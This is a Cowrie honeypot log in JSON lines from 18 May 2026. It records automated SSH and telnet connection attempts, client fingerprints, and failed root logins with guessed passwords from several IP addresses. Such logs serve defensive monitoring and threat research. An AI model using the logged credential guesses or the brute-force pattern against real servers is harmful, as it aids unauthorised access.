{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a7:d1:da:d8:82:e9:37:4d:c9:91:7d:80:c4:3d:aa:67","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOgKvvzE8wnCaqdQLIGS3bowdvDjKdJvwa+sN0OQIryPpqYq4ieu+lWwyMUUiwY+l2r8IdRdNmvbHdONvLKbp7XAkblt68irLe5lIpVL5W3vJIUPeRY9nDzRxlKjRsBERIwxeycY0lfNba+MZmbFbRQpIhy3DeM40rGITMHuIL8yMcrB4EZnWPk7RQrNahwrMuIdd2kVW9vxWCbsuelWE6g/x6Q0d+B7Z8AsTihmGvKyudy4ISHCgYKm/QXxxEXIG16yCNlwraNRIuHXKNCH7548VVTBl1HMSpXLfeYeFv31Kr1PKfLYVoKNZQtmlfX0e2BcqfZPa18l36vTi/P9sb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a7:d1:da:d8:82:e9:37:4d:c9:91:7d:80:c4:3d:aa:67","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:03:34.831572Z","src_ip":"185.255.100.198","session":"0e3beb59a8cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a7:d1:da:d8:82:e9:37:4d:c9:91:7d:80:c4:3d:aa:67","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOgKvvzE8wnCaqdQLIGS3bowdvDjKdJvwa+sN0OQIryPpqYq4ieu+lWwyMUUiwY+l2r8IdRdNmvbHdONvLKbp7XAkblt68irLe5lIpVL5W3vJIUPeRY9nDzRxlKjRsBERIwxeycY0lfNba+MZmbFbRQpIhy3DeM40rGITMHuIL8yMcrB4EZnWPk7RQrNahwrMuIdd2kVW9vxWCbsuelWE6g/x6Q0d+B7Z8AsTihmGvKyudy4ISHCgYKm/QXxxEXIG16yCNlwraNRIuHXKNCH7548VVTBl1HMSpXLfeYeFv31Kr1PKfLYVoKNZQtmlfX0e2BcqfZPa18l36vTi/P9sb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:03:34.835030Z","src_ip":"185.255.100.198","session":"0e3beb59a8cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:03:34.843019Z","src_ip":"185.255.100.198","session":"0e3beb59a8cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.742191314697266,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:03:35.994965Z","src_ip":"152.42.224.71","session":"7413e2daabae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51074,"dst_ip":"10.17.0.5","dst_port":23,"session":"6589e67980e5","protocol":"telnet","message":"New connection: 152.42.224.71:51074 (10.17.0.5:23) [session: 6589e67980e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:03:39.750781Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51076,"dst_ip":"10.17.0.5","dst_port":23,"session":"911a000a4a01","protocol":"telnet","message":"New connection: 152.42.224.71:51076 (10.17.0.5:23) [session: 911a000a4a01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:03:43.251246Z"}
{"eventid":"cowrie.session.closed","duration":45.981056213378906,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:03:45.525904Z","src_ip":"152.42.224.71","session":"59fc25b2ca1b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00275945663452,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:03:47.223656Z","src_ip":"152.42.224.71","session":"0a4d9a2a6ce0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60798,"dst_ip":"10.17.0.5","dst_port":23,"session":"3eb162923e96","protocol":"telnet","message":"New connection: 152.42.224.71:60798 (10.17.0.5:23) [session: 3eb162923e96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:03:49.644877Z"}
{"eventid":"cowrie.session.closed","duration":54.2999963760376,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:03:53.252290Z","src_ip":"152.42.224.71","session":"663a695e4cd9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":3070,"dst_ip":"10.17.0.5","dst_port":22,"session":"2cdad45af3e1","protocol":"ssh","message":"New connection: 38.93.206.2:3070 (10.17.0.5:22) [session: 2cdad45af3e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:03:58.061158Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:03:58.066214Z","src_ip":"38.93.206.2","session":"2cdad45af3e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:03:58.116830Z","src_ip":"38.93.206.2","session":"2cdad45af3e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"020202","message":"login attempt [root/020202] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:03:58.289732Z","src_ip":"38.93.206.2","session":"2cdad45af3e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.16922116279602,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:03:59.263129Z","src_ip":"152.42.224.71","session":"0b64c4c3627a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:03:59.343026Z","src_ip":"38.93.206.2","session":"2cdad45af3e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45202,"dst_ip":"10.17.0.5","dst_port":23,"session":"b25c21f19c62","protocol":"telnet","message":"New connection: 152.42.224.71:45202 (10.17.0.5:23) [session: b25c21f19c62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:04:00.539609Z"}
{"eventid":"cowrie.session.closed","duration":28.645629405975342,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:04:01.348415Z","src_ip":"152.42.224.71","session":"02bd49b814a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00268650054932,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:04:02.985489Z","src_ip":"152.42.224.71","session":"2c356cd0ce6f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":32930,"dst_ip":"10.17.0.5","dst_port":22,"session":"e427ec9f3c8d","protocol":"ssh","message":"New connection: 103.15.222.183:32930 (10.17.0.5:22) [session: e427ec9f3c8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:04:13.991468Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:04:13.996650Z","src_ip":"103.15.222.183","session":"e427ec9f3c8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:04:14.239447Z","src_ip":"103.15.222.183","session":"e427ec9f3c8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.31405544281006,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:04:14.569846Z","src_ip":"152.42.224.71","session":"c0a5214384f3","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"poiuy","message":"login attempt [root/poiuy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:04:14.968099Z","src_ip":"103.15.222.183","session":"e427ec9f3c8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:04:16.214853Z","src_ip":"103.15.222.183","session":"e427ec9f3c8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.07897448539734,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:04:17.829666Z","src_ip":"152.42.224.71","session":"6589e67980e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":112.79114079475403,"message":"Connection lost after 112 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:04:22.025875Z","src_ip":"152.42.224.71","session":"264d1d953975","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.860480546951294,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:04:23.111629Z","src_ip":"152.42.224.71","session":"911a000a4a01","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43016,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e90d4e4a41d","protocol":"telnet","message":"New connection: 152.42.224.71:43016 (10.17.0.5:23) [session: 7e90d4e4a41d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:04:25.515452Z"}
{"eventid":"cowrie.session.closed","duration":25.793992042541504,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:04:26.333474Z","src_ip":"152.42.224.71","session":"b25c21f19c62","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":102.71353268623352,"message":"Connection lost after 102 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:04:26.723492Z","src_ip":"152.42.224.71","session":"ae6c4f16d8e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53532,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe3336e92744","protocol":"telnet","message":"New connection: 152.42.224.71:53532 (10.17.0.5:23) [session: fe3336e92744]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:04:28.271082Z"}
{"eventid":"cowrie.session.closed","duration":41.60279393196106,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:04:31.247585Z","src_ip":"152.42.224.71","session":"3eb162923e96","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53546,"dst_ip":"10.17.0.5","dst_port":23,"session":"089b2389ea8a","protocol":"telnet","message":"New connection: 152.42.224.71:53546 (10.17.0.5:23) [session: 089b2389ea8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:04:36.363682Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.36.79","src_port":48178,"dst_ip":"159.203.135.109","dst_port":22,"session":"f88e3a477b8e","protocol":"ssh","message":"New connection: 103.82.36.79:48178 (159.203.135.109:22) [session: f88e3a477b8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:04:37.254412Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:04:37.259154Z","src_ip":"103.82.36.79","session":"f88e3a477b8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:04:37.519400Z","src_ip":"103.82.36.79","session":"f88e3a477b8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34722,"dst_ip":"10.17.0.5","dst_port":23,"session":"854d8f002ee6","protocol":"telnet","message":"New connection: 152.42.224.71:34722 (10.17.0.5:23) [session: 854d8f002ee6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:04:37.586463Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:04:38.300767Z","src_ip":"103.82.36.79","session":"f88e3a477b8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":60316,"dst_ip":"159.203.135.109","dst_port":22,"session":"1fa5429adaf9","protocol":"ssh","message":"New connection: 87.251.79.125:60316 (159.203.135.109:22) [session: 1fa5429adaf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:04:39.411469Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:04:39.423630Z","src_ip":"87.251.79.125","session":"1fa5429adaf9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:04:39.494918Z","src_ip":"87.251.79.125","session":"1fa5429adaf9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:04:39.640874Z","src_ip":"103.82.36.79","session":"f88e3a477b8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"playboy","message":"login attempt [root/playboy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:04:39.710600Z","src_ip":"87.251.79.125","session":"1fa5429adaf9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:04:40.784039Z","src_ip":"87.251.79.125","session":"1fa5429adaf9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34728,"dst_ip":"10.17.0.5","dst_port":23,"session":"2fa9be6db890","protocol":"telnet","message":"New connection: 152.42.224.71:34728 (10.17.0.5:23) [session: 2fa9be6db890]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:04:41.338370Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":52342,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b3a229a3dee","protocol":"ssh","message":"New connection: 103.27.238.120:52342 (159.203.135.109:22) [session: 3b3a229a3dee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:04:41.658935Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:04:41.663972Z","src_ip":"103.27.238.120","session":"3b3a229a3dee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:04:41.930492Z","src_ip":"103.27.238.120","session":"3b3a229a3dee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1a1a1a","message":"login attempt [root/1a1a1a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:04:42.730051Z","src_ip":"103.27.238.120","session":"3b3a229a3dee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:04:43.999059Z","src_ip":"103.27.238.120","session":"3b3a229a3dee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":20.927008867263794,"message":"Connection lost after 20 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:04:58.513377Z","src_ip":"152.42.224.71","session":"854d8f002ee6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47154,"dst_ip":"10.17.0.5","dst_port":23,"session":"570af9e305bf","protocol":"telnet","message":"New connection: 152.42.224.71:47154 (10.17.0.5:23) [session: 570af9e305bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:05:01.502590Z"}
{"eventid":"cowrie.session.closed","duration":94.78740286827087,"message":"Connection lost after 94 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:05:03.573162Z","src_ip":"152.42.224.71","session":"8b9041eca45a","protocol":"telnet"}
